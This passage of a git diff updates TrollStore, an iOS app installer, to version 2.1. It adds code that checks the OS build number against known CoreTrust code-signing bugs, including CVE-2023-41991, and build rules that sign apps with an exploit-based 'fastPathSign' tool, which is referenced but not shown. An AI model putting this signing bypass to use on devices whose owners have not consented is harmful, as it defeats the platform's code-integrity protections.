return [trollStorePath() stringByAppendingPathComponent:@"TrollStore.app"];
|
||||
}
|
||||
|
||||
BOOL isRemovableSystemApp(NSString* appId)
|
||||
{
|
||||
return [[NSFileManager defaultManager] fileExistsAtPath:[@"/System/Library/AppSignatures" stringByAppendingPathComponent:appId]];
|
||||
}
|
||||
|
||||
LSApplicationProxy* findPersistenceHelperApp(PERSISTENCE_HELPER_TYPE allowedTypes)
|
||||
{
|
||||
__block LSApplicationProxy* outProxy;
|
||||
@ -454,4 +557,106 @@ NSDictionary* dumpEntitlementsFromBinaryData(NSData* binaryData)
|
||||
[[NSFileManager defaultManager] removeItemAtURL:tmpURL error:nil];
|
||||
}
|
||||
return entitlements;
|
||||
}
|
||||
}
|
||||
|
||||
EXPLOIT_TYPE getDeclaredExploitTypeFromInfoDictionary(NSDictionary *infoDict)
|
||||
{
|
||||
NSObject *tsPreAppliedExploitType = infoDict[@"TSPreAppliedExploitType"];
|
||||
if([tsPreAppliedExploitType isKindOfClass:[NSNumber class]])
|
||||
{
|
||||
NSNumber *tsPreAppliedExploitTypeNum = (NSNumber *)tsPreAppliedExploitType;
|
||||
int exploitTypeInt = [tsPreAppliedExploitTypeNum intValue];
|
||||
|
||||
if(exploitTypeInt > 0)
|
||||
{
|
||||
// Convert versions 1, 2, etc... for use with bitmasking
|
||||
return (1 << (exploitTypeInt - 1));
|
||||
}
|
||||
else
|
||||
{
|
||||
NSLog(@"[getDeclaredExploitTypeFromInfoDictionary] rejecting TSPreAppliedExploitType Info.plist value (%i) which is out of range", exploitTypeInt);
|
||||
}
|
||||
}
|
||||
|
||||
// Legacy Info.plist flag - now deprecated, but we treat it as a custom root cert if present
|
||||
NSObject *tsBundleIsPreSigned = infoDict[@"TSBundlePreSigned"];
|
||||
if([tsBundleIsPreSigned isKindOfClass:[NSNumber class]])
|
||||
{
|
||||
NSNumber *tsBundleIsPreSignedNum = (NSNumber *)tsBundleIsPreSigned;
|
||||
if([tsBundleIsPreSignedNum boolValue] == YES)
|
||||
{
|
||||
return EXPLOIT_TYPE_CUSTOM_ROOT_CERTIFICATE_V1;
|
||||
}
|
||||
}
|
||||
|
||||
// No declarations
|
||||
return 0;
|
||||
}
|
||||
|
||||
void determinePlatformVulnerableExploitTypes(void *context) {
|
||||
size_t size = 0;
|
||||
|
||||
// Get the current build number
|
||||
int mib[2] = {CTL_KERN, KERN_OSVERSION};
|
||||
|
||||
// Get size of buffer
|
||||
sysctl(mib, 2, NULL, &size, NULL, 0);
|
||||
|
||||
// Get the actual value
|
||||
char *os_build = malloc(size);
|
||||
if(!os_build)
|
||||
{
|
||||
// malloc failed
|
||||
perror("malloc buffer for KERN_OSVERSION");
|
||||
return;
|
||||
}
|
||||
|
||||
if (sysctl(mib, 2, os_build, &size, NULL, 0) != 0)
|
||||
{
|
||||
// sysctl failed
|
||||
perror("sysctl KERN_OSVERSION");
|
||||
free(os_build);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
if(strncmp(os_build, "18A5319i", 8) < 0) {
|
||||
// Below iOS 14.0 beta 2
|
||||
gPlatformVulnerabilities = 0;
|
||||
}
|
||||
else if(strncmp(os_build, "21A326", 6) >= 0 && strncmp(os_build, "21A331", 6) <= 0)
|
||||
{
|
||||
// iOS 17.0 final
|
||||
gPlatformVulnerabilities = EXPLOIT_TYPE_CMS_SIGNERINFO_V1;
|
||||
}
|
||||
else if(strncmp(os_build, "21A5248v", 8) >= 0 && strncmp(os_build, "21A5326a", 8) <= 0)
|
||||
{
|
||||
// iOS 17.0 beta 1 - 8
|
||||
gPlatformVulnerabilities = EXPLOIT_TYPE_CMS_SIGNERINFO_V1;
|
||||
}
|
||||
else if(strncmp(os_build, "19G5027e", 8) >= 0 && strncmp(os_build, "19G5063a", 8) <= 0)
|
||||
{
|
||||
// iOS 15.6 beta 1 - 5
|
||||
gPlatformVulnerabilities = (EXPLOIT_TYPE_CUSTOM_ROOT_CERTIFICATE_V1 | EXPLOIT_TYPE_CMS_SIGNERINFO_V1);
|
||||
}
|
||||
else if(strncmp(os_build, "19F5070b", 8) <= 0)
|
||||
{
|
||||
// iOS 14.0 beta 2 - 15.5 beta 4
|
||||
gPlatformVulnerabilities = (EXPLOIT_TYPE_CUSTOM_ROOT_CERTIFICATE_V1 | EXPLOIT_TYPE_CMS_SIGNERINFO_V1);
|
||||
}
|
||||
else if(strncmp(os_build, "20H18", 5) <= 0)
|
||||
{
|
||||
// iOS 14.0 - 16.6.1, 16.7 RC (if CUSTOM_ROOT_CERTIFICATE_V1 not supported)
|
||||
gPlatformVulnerabilities = EXPLOIT_TYPE_CMS_SIGNERINFO_V1;
|
||||
}
|
||||
|
||||
free(os_build);
|
||||
}
|
||||
|
||||
bool isPlatformVulnerableToExploitType(EXPLOIT_TYPE exploitType) {
|
||||
// Find out what we are vulnerable to
|
||||
static dispatch_once_t once;
|
||||
dispatch_once_f(&once, NULL, determinePlatformVulnerableExploitTypes);
|
||||
|
||||
return (exploitType & gPlatformVulnerabilities) != 0;
|
||||
}
|
||||
|
@ -1,23 +1,40 @@
|
||||
export EMBEDDED_ROOT_HELPER ?= 0
|
||||
export LEGACY_CT_BUG ?= 0
|
||||
|
||||
TARGET := iphone:clang:14.5:14.0
|
||||
TARGET := iphone:clang:16.5:14.0
|
||||
INSTALL_TARGET_PROCESSES = TrollStorePersistenceHelper
|
||||
|
||||
ifdef CUSTOM_ARCHS
|
||||
ARCHS = $(CUSTOM_ARCHS)
|
||||
else
|
||||
ARCHS = arm64
|
||||
endif
|
||||
|
||||
ifneq ($(LEGACY_CT_BUG),1)
|
||||
TARGET_CODESIGN = ../Exploits/fastPathSign/fastPathSign
|
||||
endif
|
||||
|
||||
include $(THEOS)/makefiles/common.mk
|
||||
|
||||
APPLICATION_NAME = TrollStorePersistenceHelper
|
||||
|
||||
TrollStorePersistenceHelper_FILES = $(wildcard *.m) $(wildcard ../Shared/*.m)
|
||||
TrollStorePersistenceHelper_FRAMEWORKS = UIKit CoreGraphics CoreServices
|
||||
TrollStorePersistenceHelper_PRIVATE_FRAMEWORKS = Preferences
|
||||
TrollStorePersistenceHelper_CFLAGS = -fobjc-arc -I../Shared
|
||||
TrollStorePersistenceHelper_CODESIGN_FLAGS = -Sentitlements.plist -K../cert.p12
|
||||
TrollStorePersistenceHelper_FRAMEWORKS = UIKit CoreGraphics CoreServices CoreTelephony
|
||||
TrollStorePersistenceHelper_PRIVATE_FRAMEWORKS = Preferences MobileContainerManager
|
||||
TrollStorePersistenceHelper_CFLAGS = -fobjc-arc -I../Shared -I$(shell brew --prefix)/opt/libarchive/include
|
||||
|
||||
ifeq ($(LEGACY_CT_BUG),1)
|
||||
TrollStorePersistenceHelper_CODESIGN_FLAGS = -Sentitlements.plist -K../legacy.p12
|
||||
TrollStorePersistenceHelper_CFLAGS += -DLEGACY_CT_BUG=1
|
||||
else
|
||||
TrollStorePersistenceHelper_CODESIGN_FLAGS = --entitlements entitlements.plist
|
||||
endif
|
||||
|
||||
ifeq ($(EMBEDDED_ROOT_HELPER),1)
|
||||
TrollStorePersistenceHelper_CFLAGS += -DEMBEDDED_ROOT_HELPER=1
|
||||
TrollStorePersistenceHelper_FILES += $(wildcard ../RootHelper/*.m)
|
||||
TrollStorePersistenceHelper_LIBRARIES += archive
|
||||
TrollStorePersistenceHelper_PRIVATE_FRAMEWORKS += SpringBoardServices BackBoardServices
|
||||
TrollStorePersistenceHelper_PRIVATE_FRAMEWORKS += SpringBoardServices BackBoardServices FrontBoardServices
|
||||
endif
|
||||
|
||||
include $(THEOS_MAKE_PATH)/application.mk
|
@ -52,7 +52,7 @@
|
||||
<string>iPhoneOS</string>
|
||||
</array>
|
||||
<key>CFBundleVersion</key>
|
||||
<string>1.4.2</string>
|
||||
<string>2.1</string>
|
||||
<key>LSRequiresIPhoneOS</key>
|
||||
<true/>
|
||||
<key>UIDeviceFamily</key>
|
||||
@ -62,83 +62,10 @@
|
||||
</array>
|
||||
<key>UIRequiredDeviceCapabilities</key>
|
||||
<array>
|
||||
<string>armv7</string>
|
||||
</array>
|
||||
<key>UILaunchImageFile</key>
|
||||
<string>LaunchImage</string>
|
||||
<key>UILaunchImages</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>UILaunchImageMinimumOSVersion</key>
|
||||
<string>7.0</string>
|
||||
<key>UILaunchImageName</key>
|
||||
<string>LaunchImage</string>
|
||||
<key>UILaunchImageOrientation</key>
|
||||
<string>Portrait</string>
|
||||
<key>UILaunchImageSize</key>
|
||||
<string>{320, 480}</string>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>UILaunchImageMinimumOSVersion</key>
|
||||
<string>7.0</string>
|
||||
<key>UILaunchImageName</key>
|
||||
<string>LaunchImage-700-568h</string>
|
||||
<key>UILaunchImageOrientation</key>
|
||||
<string>Portrait</string>
|
||||
<key>UILaunchImageSize</key>
|
||||
<string>{320, 568}</string>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>UILaunchImageMinimumOSVersion</key>
|
||||
<string>7.0</string>
|
||||
<key>UILaunchImageName</key>
|
||||
<string>LaunchImage-Portrait</string>
|
||||
<key>UILaunchImageOrientation</key>
|
||||
<string>Portrait</string>
|
||||
<key>UILaunchImageSize</key>
|
||||
<string>{768, 1024}</string>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>UILaunchImageMinimumOSVersion</key>
|
||||
<string>7.0</string>
|
||||
<key>UILaunchImageName</key>
|
||||
<string>LaunchImage-Landscape</string>
|
||||
<key>UILaunchImageOrientation</key>
|
||||
<string>Landscape</string>
|
||||
<key>UILaunchImageSize</key>
|
||||
<string>{768, 1024}</string>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>UILaunchImageMinimumOSVersion</key>
|
||||
<string>8.0</string>
|
||||
<key>UILaunchImageName</key>
|
||||
<string>LaunchImage-800-667h</string>
|
||||
<key>UILaunchImageOrientation</key>
|
||||
<string>Portrait</string>
|
||||
<key>UILaunchImageSize</key>
|
||||
<string>{375, 667}</string>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>UILaunchImageMinimumOSVersion</key>
|
||||
<string>8.0</string>
|
||||
<key>UILaunchImageName</key>
|
||||
<string>LaunchImage-800-Portrait-736h</string>
|
||||
<key>UILaunchImageOrientation</key>
|
||||
<string>Portrait</string>
|
||||
<key>UILaunchImageSize</key>
|
||||
<string>{414, 736}</string>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>UILaunchImageMinimumOSVersion</key>
|
||||
<string>8.0</string>
|
||||
<key>UILaunchImageName</key>
|
||||
<string>LaunchImage-800-Landscape-736h</string>
|
||||
<key>UILaunchImageOrientation</key>
|
||||
<string>Landscape</string>
|
||||
<key>UILaunchImageSize</key>
|
||||
<string>{414, 736}</string>
|
||||
</dict>
|
||||
<string>arm64</string>
|
||||
</array>
|
||||
<key>UILaunchStoryboardName</key>
|
||||
<string>LaunchScreen</string>
|
||||
<key>UISupportedInterfaceOrientations</key>
|
||||
<array>
|
||||
<string>UIInterfaceOrientationPortrait</string>
|
||||
|
@ -37,10 +37,10 @@
|
||||
{
|
||||
_specifiers = [NSMutableArray new];
|
||||
|
||||
#ifdef EMBEDDED_ROOT_HELPER
|
||||
NSString* credits = @"Powered by Fugu15 CoreTrust & installd bugs, thanks to @LinusHenze\n\n© 2022 Lars Fröder (opa334)";
|
||||
#ifdef LEGACY_CT_BUG
|
||||
NSString* credits = @"Powered by Fugu15 CoreTrust & installd bugs, thanks to @LinusHenze\n\n© 2022-2024 Lars Fröder (opa334)";
|
||||
#else
|
||||
NSString* credits = @"Powered by Fugu15 CoreTrust bug, thanks to @LinusHenze\n\n© 2022 Lars Fröder (opa334)";
|
||||
NSString* credits = @"Powered by CVE-2023-41991, originally discovered by Google TAG, rediscovered via patchdiffing by @alfiecg_dev\n\n© 2022-2024 Lars Fröder (opa334)";
|
||||
#endif
|
||||
|
||||
PSSpecifier* infoGroupSpecifier = [PSSpecifier emptyGroupSpecifier];
|
||||
@ -84,7 +84,7 @@
|
||||
|
||||
lastGroupSpecifier = utilitiesGroupSpecifier;
|
||||
|
||||
if(isInstalled)
|
||||
if(isInstalled || trollStoreInstalledAppContainerPaths().count)
|
||||
{
|
||||
PSSpecifier* refreshAppRegistrationsSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Refresh App Registrations"
|
||||
target:self
|
||||
@ -97,7 +97,9 @@
|
||||
[refreshAppRegistrationsSpecifier setProperty:@YES forKey:@"enabled"];
|
||||
refreshAppRegistrationsSpecifier.buttonAction = @selector(refreshAppRegistrationsPressed);
|
||||
[_specifiers addObject:refreshAppRegistrationsSpecifier];
|
||||
|
||||
}
|
||||
if(isInstalled)
|
||||
{
|
||||
PSSpecifier* uninstallTrollStoreSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Uninstall TrollStore"
|
||||
target:self
|
||||
set:nil
|
||||
@ -126,7 +128,7 @@
|
||||
[_specifiers addObject:installTrollStoreSpecifier];
|
||||
}
|
||||
|
||||
NSString* backupPath = [safe_getExecutablePath() stringByAppendingString:@"_TROLLSTORE_BACKUP"];
|
||||
NSString* backupPath = [getExecutablePath() stringByAppendingString:@"_TROLLSTORE_BACKUP"];
|
||||
if([[NSFileManager defaultManager] fileExistsAtPath:backupPath])
|
||||
{
|
||||
PSSpecifier* uninstallHelperGroupSpecifier = [PSSpecifier emptyGroupSpecifier];
|
||||
|
@ -1,6 +1,6 @@
|
||||
Package: com.opa334.trollstorehelper
|
||||
Name: TrollStore Helper
|
||||
Version: 1.4.2
|
||||
Version: 2.1
|
||||
Architecture: iphoneos-arm
|
||||
Description: Helper utility to install and manage TrollStore!
|
||||
Maintainer: opa334
|
||||
|
@ -6,10 +6,7 @@
|
||||
<string>com.opa334.trollstorepersistencehelper</string>
|
||||
<key>com.apple.CommCenter.fine-grained</key>
|
||||
<array>
|
||||
<string>cellular-plan</string>
|
||||
<string>data-usage</string>
|
||||
<string>data-allowed-write</string>
|
||||
<string>preferences-write</string>
|
||||
</array>
|
||||
<key>com.apple.private.persona-mgmt</key>
|
||||
<true/>
|
||||
|
@ -1,15 +1,18 @@
|
||||
TARGET := iphone:clang:14.5:14.0
|
||||
TARGET := iphone:clang:16.5:14.0
|
||||
INSTALL_TARGET_PROCESSES = TrollStore
|
||||
ARCHS = arm64
|
||||
|
||||
TARGET_CODESIGN = ../Exploits/fastPathSign/fastPathSign
|
||||
|
||||
include $(THEOS)/makefiles/common.mk
|
||||
|
||||
APPLICATION_NAME = TrollStore
|
||||
|
||||
TrollStore_FILES = $(wildcard *.m) $(wildcard ../Shared/*.m)
|
||||
TrollStore_FRAMEWORKS = UIKit CoreGraphics CoreServices
|
||||
TrollStore_PRIVATE_FRAMEWORKS = Preferences MobileIcons
|
||||
TrollStore_FRAMEWORKS = UIKit CoreGraphics CoreServices CoreTelephony
|
||||
TrollStore_PRIVATE_FRAMEWORKS = Preferences MobileIcons MobileContainerManager
|
||||
TrollStore_LIBRARIES = archive
|
||||
TrollStore_CFLAGS = -fobjc-arc -I../Shared
|
||||
TrollStore_CODESIGN_FLAGS = -Sentitlements.plist -K../cert.p12
|
||||
TrollStore_CFLAGS = -fobjc-arc -I../Shared -I$(shell brew --prefix)/opt/libarchive/include
|
||||
TrollStore_CODESIGN_FLAGS = --entitlements entitlements.plist
|
||||
|
||||
include $(THEOS_MAKE_PATH)/application.mk
|
||||
|
@ -50,7 +50,7 @@
|
||||
<string>iPhoneOS</string>
|
||||
</array>
|
||||
<key>CFBundleVersion</key>
|
||||
<string>1.4.2</string>
|
||||
<string>2.1</string>
|
||||
<key>LSRequiresIPhoneOS</key>
|
||||
<true/>
|
||||
<key>UIDeviceFamily</key>
|
||||
@ -154,7 +154,7 @@
|
||||
</dict>
|
||||
</array>
|
||||
<key>UTExportedTypeDeclarations</key>
|
||||
<array>
|
||||
<array>
|
||||
<dict>
|
||||
<key>UTTypeIdentifier</key>
|
||||
<string>com.opa334.trollstore.tipa</string>
|
||||
|
@ -1,17 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>application-identifier</key>
|
||||
<string>TROLLTROLL.*</string>
|
||||
<key>com.apple.developer.team-identifier</key>
|
||||
<string>TROLLTROLL</string>
|
||||
<key>get-task-allow</key>
|
||||
<true/>
|
||||
<key>keychain-access-groups</key>
|
||||
<array>
|
||||
<string>TROLLTROLL.*</string>
|
||||
<string>com.apple.token</string>
|
||||
</array>
|
||||
</dict>
|
||||
</plist>
|
@ -6,8 +6,8 @@
|
||||
//
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <libarchive/archive.h>
|
||||
#import <libarchive/archive_entry.h>
|
||||
#import <archive.h>
|
||||
#import <archive_entry.h>
|
||||
@import UIKit;
|
||||
|
||||
@interface TSAppInfo : NSObject
|
||||
@ -50,6 +50,7 @@
|
||||
- (NSAttributedString*)detailedInfoTitle;
|
||||
- (NSAttributedString*)detailedInfoDescription;
|
||||
//- (UIImage*)image;
|
||||
- (BOOL)isDebuggable;
|
||||
- (void)log;
|
||||
|
||||
@end
|
||||
|
@ -362,7 +362,6 @@ extern UIImage* imageWithSize(UIImage* image, CGSize size);
|
||||
{
|
||||
[self closeArchive];
|
||||
}
|
||||
NSLog(@"open");
|
||||
_archive = archive_read_new();
|
||||
archive_read_support_format_all(_archive);
|
||||
archive_read_support_filter_all(_archive);
|
||||
@ -850,17 +849,38 @@ extern UIImage* imageWithSize(UIImage* image, CGSize size);
|
||||
__block NSMutableArray* accessibleContainers = [NSMutableArray new]; //array by design, should be ordered
|
||||
if(!unrestrictedContainerAccess)
|
||||
{
|
||||
[self enumerateAllInfoDictionaries:^(NSString *key, NSObject *value, BOOL *stop) {
|
||||
if([key isEqualToString:@"CFBundleIdentifier"])
|
||||
__block NSString *dataContainer = nil;
|
||||
|
||||
// If com.apple.private.security.container-required Entitlement is a string, prefer it to CFBundleIdentifier
|
||||
[self enumerateAllEntitlements:^(NSString *key, NSObject *value, BOOL *stop) {
|
||||
if([key isEqualToString:@"com.apple.private.security.container-required"])
|
||||
{
|
||||
NSString* valueStr = (NSString*)value;
|
||||
if([valueStr isKindOfClass:NSString.class])
|
||||
NSString* valueString = (NSString*)value;
|
||||
if(valueString && [valueString isKindOfClass:NSString.class])
|
||||
{
|
||||
[accessibleContainers addObject:valueStr];
|
||||
dataContainer = valueString;
|
||||
}
|
||||
}
|
||||
}];
|
||||
|
||||
// Else take CFBundleIdentifier
|
||||
if (!dataContainer) {
|
||||
[self enumerateAllInfoDictionaries:^(NSString *key, NSObject *value, BOOL *stop) {
|
||||
if([key isEqualToString:@"CFBundleIdentifier"])
|
||||
{
|
||||
NSString* valueStr = (NSString*)value;
|
||||
if([valueStr isKindOfClass:NSString.class])
|
||||
{
|
||||
dataContainer = valueStr;
|
||||
}
|
||||
}
|
||||
}];
|
||||
}
|
||||
|
||||
if (dataContainer) {
|
||||
[accessibleContainers addObject:dataContainer];
|
||||
}
|
||||
|
||||
[self enumerateAllEntitlements:^(NSString *key, NSObject *value, BOOL *stop)
|
||||
{
|
||||
if([key isEqualToString:@"com.apple.developer.icloud-container-identifiers"] || [key isEqualToString:@"com.apple.security.application-groups"] || [key isEqualToString:@"com.apple.security.system-groups"])
|
||||
@ -1066,7 +1086,7 @@ extern UIImage* imageWithSize(UIImage* image, CGSize size);
|
||||
}
|
||||
else if(isPlatformApplication && isUnsandboxed)
|
||||
{
|
||||
[description appendAttributedString:[[NSAttributedString alloc] initWithString:@"\nThe app can spawn arbitary binaries as the mobile user." attributes:bodyWarningAttributes]];
|
||||
[description appendAttributedString:[[NSAttributedString alloc] initWithString:@"\nThe app can spawn arbitrary binaries as the mobile user." attributes:bodyWarningAttributes]];
|
||||
}
|
||||
else
|
||||
{
|
||||
@ -1145,5 +1165,23 @@ extern UIImage* imageWithSize(UIImage* image, CGSize size);
|
||||
}];
|
||||
}
|
||||
|
||||
- (BOOL)isDebuggable
|
||||
{
|
||||
[self loadEntitlements];
|
||||
__block BOOL debuggable = NO;
|
||||
[self enumerateAllEntitlements:^(NSString *key, NSObject *value, BOOL *stop)
|
||||
{
|
||||
if([key isEqualToString:@"get-task-allow"])
|
||||
{
|
||||
NSNumber* valueNum = (NSNumber*)value;
|
||||
if(valueNum && [valueNum isKindOfClass:NSNumber.class])
|
||||
{
|
||||
debuggable = valueNum.boolValue;
|
||||
*stop = YES;
|
||||
}
|
||||
}
|
||||
}];
|
||||
return debuggable;
|
||||
}
|
||||
|
||||
@end
|
||||
|
@ -1,7 +1,8 @@
|
||||
#import <UIKit/UIKit.h>
|
||||
#import "TSAppInfo.h"
|
||||
#import <CoreServices.h>
|
||||
|
||||
@interface TSAppTableViewController : UITableViewController <UISearchResultsUpdating, UIDocumentPickerDelegate>
|
||||
@interface TSAppTableViewController : UITableViewController <UISearchResultsUpdating, UIDocumentPickerDelegate, LSApplicationWorkspaceObserverProtocol>
|
||||
{
|
||||
UIImage* _placeholderIcon;
|
||||
NSArray<TSAppInfo*>* _cachedAppInfos;
|
||||
|
@ -79,10 +79,16 @@ UIImage* imageWithSize(UIImage* image, CGSize size)
|
||||
[self loadAppInfos];
|
||||
_placeholderIcon = [UIImage _applicationIconImageForBundleIdentifier:@"com.apple.WebSheet" format:iconFormatToUse() scale:[UIScreen mainScreen].scale];
|
||||
_cachedIcons = [NSMutableDictionary new];
|
||||
[[LSApplicationWorkspace defaultWorkspace] addObserver:self];
|
||||
}
|
||||
return self;
|
||||
}
|
||||
|
||||
- (void)dealloc
|
||||
{
|
||||
[[LSApplicationWorkspace defaultWorkspace] removeObserver:self];
|
||||
}
|
||||
|
||||
- (void)reloadTable
|
||||
{
|
||||
[self loadAppInfos];
|
||||
@ -98,7 +104,8 @@ UIImage* imageWithSize(UIImage* image, CGSize size)
|
||||
[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(reloadTable) name:@"ApplicationsChanged" object:nil];
|
||||
}
|
||||
|
||||
- (void)viewDidLoad {
|
||||
- (void)viewDidLoad
|
||||
{
|
||||
[super viewDidLoad];
|
||||
|
||||
self.tableView.allowsMultipleSelectionDuringEditing = NO;
|
||||
@ -181,7 +188,7 @@ UIImage* imageWithSize(UIImage* image, CGSize size)
|
||||
[TSInstallationController presentInstallationAlertIfEnabledForFile:pathToIPA isRemoteInstall:NO completion:nil];
|
||||
}
|
||||
|
||||
- (void)openAppPressedForRowAtIndexPath:(NSIndexPath*)indexPath
|
||||
- (void)openAppPressedForRowAtIndexPath:(NSIndexPath*)indexPath enableJIT:(BOOL)enableJIT
|
||||
{
|
||||
TSApplicationsManager* appsManager = [TSApplicationsManager sharedInstance];
|
||||
|
||||
@ -205,6 +212,17 @@ UIImage* imageWithSize(UIImage* image, CGSize size)
|
||||
[didFailController addAction:cancelAction];
|
||||
[TSPresentationDelegate presentViewController:didFailController animated:YES completion:nil];
|
||||
}
|
||||
else if (enableJIT)
|
||||
{
|
||||
int ret = [appsManager enableJITForBundleID:appId];
|
||||
if (ret != 0)
|
||||
{
|
||||
UIAlertController* errorAlert = [UIAlertController alertControllerWithTitle:@"Error" message:[NSString stringWithFormat:@"Error enabling JIT: trollstorehelper returned %d", ret] preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:nil];
|
||||
[errorAlert addAction:closeAction];
|
||||
[TSPresentationDelegate presentViewController:errorAlert animated:YES completion:nil];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
- (void)showDetailsPressedForRowAtIndexPath:(NSIndexPath*)indexPath
|
||||
@ -323,11 +341,13 @@ UIImage* imageWithSize(UIImage* image, CGSize size)
|
||||
|
||||
#pragma mark - Table view data source
|
||||
|
||||
- (NSInteger)numberOfSectionsInTableView:(UITableView *)tableView {
|
||||
- (NSInteger)numberOfSectionsInTableView:(UITableView *)tableView
|
||||
{
|
||||
return 1;
|
||||
}
|
||||
|
||||
- (NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section {
|
||||
- (NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section
|
||||
{
|
||||
return _cachedAppInfos.count;
|
||||
}
|
||||
|
||||
@ -336,12 +356,15 @@ UIImage* imageWithSize(UIImage* image, CGSize size)
|
||||
[self reloadTable];
|
||||
}
|
||||
|
||||
- (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath {
|
||||
- (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath
|
||||
{
|
||||
UITableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:@"ApplicationCell"];
|
||||
if (!cell) {
|
||||
if(!cell) {
|
||||
cell = [[UITableViewCell alloc] initWithStyle:UITableViewCellStyleSubtitle reuseIdentifier:@"ApplicationCell"];
|
||||
}
|
||||
|
||||
if(!indexPath || indexPath.row > (_cachedAppInfos.count - 1)) return cell;
|
||||
|
||||
TSAppInfo* appInfo = _cachedAppInfos[indexPath.row];
|
||||
NSString* appId = [appInfo bundleIdentifier];
|
||||
NSString* appVersion = [appInfo versionString];
|
||||
@ -367,14 +390,15 @@ UIImage* imageWithSize(UIImage* image, CGSize size)
|
||||
cell.imageView.image = _placeholderIcon;
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^
|
||||
{
|
||||
//usleep(1000 * 5000); // (test delay for debugging)
|
||||
UIImage* iconImage = imageWithSize([UIImage _applicationIconImageForBundleIdentifier:appId format:iconFormatToUse() scale:[UIScreen mainScreen].scale], _placeholderIcon.size);
|
||||
_cachedIcons[appId] = iconImage;
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
if([tableView.indexPathsForVisibleRows containsObject:indexPath])
|
||||
NSIndexPath *curIndexPath = [NSIndexPath indexPathForRow:[_cachedAppInfos indexOfObject:appInfo] inSection:0];
|
||||
UITableViewCell *curCell = [tableView cellForRowAtIndexPath:curIndexPath];
|
||||
if(curCell)
|
||||
{
|
||||
cell.imageView.image = iconImage;
|
||||
[cell setNeedsLayout];
|
||||
curCell.imageView.image = iconImage;
|
||||
[curCell setNeedsLayout];
|
||||
}
|
||||
});
|
||||
});
|
||||
@ -392,7 +416,8 @@ UIImage* imageWithSize(UIImage* image, CGSize size)
|
||||
return cell;
|
||||
}
|
||||
|
||||
- (CGFloat)tableView:(UITableView *)tableView heightForRowAtIndexPath:(NSIndexPath *)indexPath {
|
||||
- (CGFloat)tableView:(UITableView *)tableView heightForRowAtIndexPath:(NSIndexPath *)indexPath
|
||||
{
|
||||
return 80.0f;
|
||||
}
|
||||
|
||||
@ -415,11 +440,21 @@ UIImage* imageWithSize(UIImage* image, CGSize size)
|
||||
|
||||
UIAlertAction* openAction = [UIAlertAction actionWithTitle:@"Open" style:UIAlertActionStyleDefault handler:^(UIAlertAction* action)
|
||||
{
|
||||
[self openAppPressedForRowAtIndexPath:indexPath];
|
||||
[self openAppPressedForRowAtIndexPath:indexPath enableJIT:NO];
|
||||
[self deselectRow];
|
||||
}];
|
||||
[appSelectAlert addAction:openAction];
|
||||
|
||||
if ([appInfo isDebuggable])
|
||||
{
|
||||
UIAlertAction* openWithJITAction = [UIAlertAction actionWithTitle:@"Open with JIT" style:UIAlertActionStyleDefault handler:^(UIAlertAction* action)
|
||||
{
|
||||
[self openAppPressedForRowAtIndexPath:indexPath enableJIT:YES];
|
||||
[self deselectRow];
|
||||
}];
|
||||
[appSelectAlert addAction:openWithJITAction];
|
||||
}
|
||||
|
||||
UIAlertAction* showDetailsAction = [UIAlertAction actionWithTitle:@"Show Details" style:UIAlertActionStyleDefault handler:^(UIAlertAction* action)
|
||||
{
|
||||
[self showDetailsPressedForRowAtIndexPath:indexPath];
|
||||
@ -467,4 +502,26 @@ UIImage* imageWithSize(UIImage* image, CGSize size)
|
||||
[TSPresentationDelegate presentViewController:appSelectAlert animated:YES completion:nil];
|
||||
}
|
||||
|
||||
@end
|
||||
- (void)purgeCachedIconsForApps:(NSArray <LSApplicationProxy *>*)apps
|
||||
{
|
||||
for (LSApplicationProxy *appProxy in apps) {
|
||||
NSString *appId = appProxy.bundleIdentifier;
|
||||
if (_cachedIcons[appId]) {
|
||||
[_cachedIcons removeObjectForKey:appId];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
- (void)applicationsDidInstall:(NSArray <LSApplicationProxy *>*)apps
|
||||
{
|
||||
[self purgeCachedIconsForApps:apps];
|
||||
[self reloadTable];
|
||||
}
|
||||
|
||||
- (void)applicationsDidUninstall:(NSArray <LSApplicationProxy *>*)apps
|
||||
{
|
||||
[self purgeCachedIconsForApps:apps];
|
||||
[self reloadTable];
|
||||
}
|
||||
|
||||
@end
|
||||
|
@ -16,6 +16,7 @@
|
||||
- (int)uninstallApp:(NSString*)appId;
|
||||
- (int)uninstallAppByPath:(NSString*)path;
|
||||
- (BOOL)openApplicationWithBundleID:(NSString *)appID;
|
||||
- (int)enableJITForBundleID:(NSString *)appID;
|
||||
- (int)changeAppRegistration:(NSString*)appPath toState:(NSString*)newState;
|
||||
|
||||
@end
|
@ -1,5 +1,6 @@
|
||||
#import "TSApplicationsManager.h"
|
||||
#import <TSUtil.h>
|
||||
extern NSUserDefaults* trollStoreUserDefaults();
|
||||
|
||||
@implementation TSApplicationsManager
|
||||
|
||||
@ -41,7 +42,7 @@
|
||||
errorDescription = @"Failed to create container for app bundle.";
|
||||
break;
|
||||
case 171:
|
||||
